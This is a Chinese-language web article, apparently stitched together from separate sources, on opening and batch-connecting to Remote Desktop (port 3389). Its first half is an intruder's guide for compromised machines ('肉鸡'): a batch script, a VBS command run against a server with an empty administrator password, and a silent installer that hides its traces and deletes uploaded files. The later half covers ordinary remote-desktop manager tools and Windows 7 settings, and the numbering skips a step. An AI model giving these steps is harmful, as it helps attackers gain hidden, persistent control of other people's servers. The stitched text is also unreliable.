CMD批量登陆3389

打开3389端口的5种方法:

1，打开记事本，编辑内容如下：

echo [Components] >c:\sql

echo TSEnable = on >>c:\sql

sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q

编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。

2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05

使用方法：

在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如：

c:\>cscript ROTS.vbs <目标IP><用户名><密码>[服务端口] [自动重起选项]

服务端口： 设置终端服务的服务端口。默认是3389。

自动重起选项： 使用/r表示安装完成后自动重起目标使设置生效。

使用/fr表示强制重起目标。（如果/r不行，可以试试这个）

使用此参数时，端口设置不能忽略。

比如扫描到了一个有NT弱口令的服务器，IP地址是222.222.222.222，管理员帐户是administrator，密码为空

运行CMD（2000下的DOS），我们给它开终端！

命令如下！

cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr

上面的命令应该可以理解吧？cscript reg.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为222.222.222.222 这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以 /r，这是普通重启）

脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。

因为pro版不能安装终端服务。

如果你确信脚本判断错误，就继续安装好了。

如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。

脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。

3，下载3389自动安装程序-djshao正式版5.0

说明：

解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下，然后进入 c:\winnt\temp目录执行djxyxs.exe解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启！重启后会出现终端服务！

特点：1、不用修改注册表的安装路径，注册表会自动修改，安装完后会自动恢复到原来的安装路径，2、在后台安静模式运行，就算肉鸡旁有人也没有关系！3、在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩，4、不会在肉鸡上留下你的上传文件，在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件！5、不管肉鸡的winnt装在什么盘上都无所谓！6、安装完终端后会删除在管理工具中的终端快捷图标！7、在没有安装终端前，终端服务是被禁止的！安装终端后，终端服务被改为自动！但是如果在安装前终端服务是手动！安装后就可能还是手动！等重启后就不会打开服务！所以在软件中加了sc指令，等安装完后，不管终端服务是禁止还是手动还是自动，全部改为自动。8、自动检测肉鸡是不是服务器版，如果不是删除原文件，不执行安装，如果是服务器版就执行安装！9、支持中日韩繁四个版本的win2000服务器版！

5，下载DameWare NT Utilities 3.66.0.0 注册版

安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。

复制启动后出现对方桌面。

在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后OK

第一步、进入win10系统后，自己安装了远程桌面管理工具，实现批量管理远程服务器，很方便，但到win10后我试了各种方法都没有实现批量管理远程桌面。

第二步、当然第三方工具很多，但为了安全我一直不愿意使用。第三方工具很多，也很方便，大家有需要可以根据个人喜好安装使用。但都没我下面说的小巧方便，关键是微软官方出品。图中是一些第三方工具。

第三步、下面说下我推荐的工具，Remote Desktop Connection Manager（下载地址），纯微软官方出品，特点就是小巧才1.1M，不足就是只有英文版，不过设置都很简单，都是默认就可以了。

第四步、下载后一路默认安装就可以了，真的很小巧，值得大家安装使用，打开后，首先点file菜单，新建立一个远程组名（远程连接组名不是服务器名），新建后，就可以在个组下面add server添加服务器了。

第五步、添加时只用添加服务器地址就可以了，如果远程服务器的端口不是默认的3389，就需要更改connection settings中的端口的。其他都是默认就行了，当然里面还有一些其他设置，安全什么的，可以根据需要自己调整。

第六步、添加完右键服务器名称conect server连接服务器就行了，和远程桌面一样的，不过感觉这个工具比之前的远程桌面控制台还爽，直接可以显示出所有连接的远程服务器的界面。

iis7远程控制：

一款电脑远程监控的工具，IIS7远程桌面管理是一款专业的远程桌面连接软件，无需安装。操作简单方便。完美的界面设计、强大的监控功能、稳定的系统平台，满足了用户实现远程桌面连接的需求。

1、分组功能。

2、导入文本格式选择，杜绝编码错误的发生。

3、单个服务器手动添加。

4、支持特征搜索。

5、到期功能提醒。

6、导入服务器信息一键生效。

7、程序自动更新。

VISTA/WIN7系列设置方法

右键打开桌面的[计算机]选择[属性]，进入[系统]界面，点击左边操作菜单中的[远程设置]选项卡，将直接进入[系统属性]中的[远程]菜单。

选择远程桌面中的允许运行任意版本远程桌面的计算机连接（推荐），高级用户可以选择设置仅允许运行使用网络级别身份验证的远程桌面的计算机连接。

同样，如果想特定赋予某个计算机账户具备远程桌面的权限，可以点击选择用户进行添加。

---